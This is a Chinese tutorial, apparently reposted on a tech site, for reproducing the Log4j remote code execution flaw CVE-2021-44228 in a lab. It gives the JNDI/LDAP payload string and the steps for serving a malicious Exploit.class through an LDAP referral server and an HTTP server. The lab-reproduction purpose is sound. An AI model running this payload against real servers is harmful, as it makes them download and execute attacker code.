Log4j远程代码执行漏洞CVE-2021-44228漏洞复现
基本信息
漏洞编号:CVE-2021-44228
影响版本:2.x<=2.15.0-rc1
poc地址:https://gitee.com/lcosmos/apache-log4j-poc
在此十分感谢我的寝室长Cosmos提供的poc和技术支持。
原理简述
当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,程序就会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。
漏洞复现
首先安装maven依赖,并配置环境变量。安装方法请参考:https://jingyan.百度.com/article/e4d08ffde8d4b24fd2f60dce.html
安装后执行mvn --version
,如果出现版本信息则说明安装成功,如下图所示:
然后更换maven源,因为poc所需要的依赖需要通过maven下载,更换成国内的源可以大大提高下载速度,更换源的方法可以参考:https://www.cnblogs.com/c2g5201314/p/14399714.html
然后用ide打开poc项目,在Exploit.java中写入要执行的命令,如下图所示:
然后通过javac命令将Exploit.java编译成class文件。
cd src/main/java
javac Exploit.java
需要配置一下LDAPRefServer文件,该文件的作用就是启动一个LDAP服务。如下图所示1389就是LDAP服务的端口,http://192.168.119.1:8099/#Exploit就是class文件的地址。
上面class文件地址中#号必须加上,文件的class后缀需要省略。LDAP服务返回http://192.168.119.1:8099/#Exploit就是让靶机去http://192.168.119.1:8099下载Exploit.class文件并执行。
然后点击依次右边的Maven和compile,这会自动下载所需的依赖包。等待下载完依赖后就点击LDAPRefServer.java文件中的小三角图形启动LDAP服务。
然后来到Exploit.class文件所在目录下执行python -m http.server 8099
启动http服务,也可以用其他方法,只要提供一个能下载Exploit.class的http服务即可。
注意http服务ip和端口要与LDAPRefServer.java文件中ip和端口对应。
然后运行Log4j.java文件,这个文件执行内容是通过log4j框架打印日志${jndi:ldap://192.168.119.1:1389/a}
,其中192.168.119.1:1389是lDAP服务的ip地址和端口。然后就会发现命令执行成功了。
参考文献
https://gitee.com/lcosmos/apache-log4j-poc/blob/master/README.md
https://jingyan.百度.com/article/e4d08ffde8d4b24fd2f60dce.html
https://www.cnblogs.com/c2g5201314/p/14399714.html
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgcbagf
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13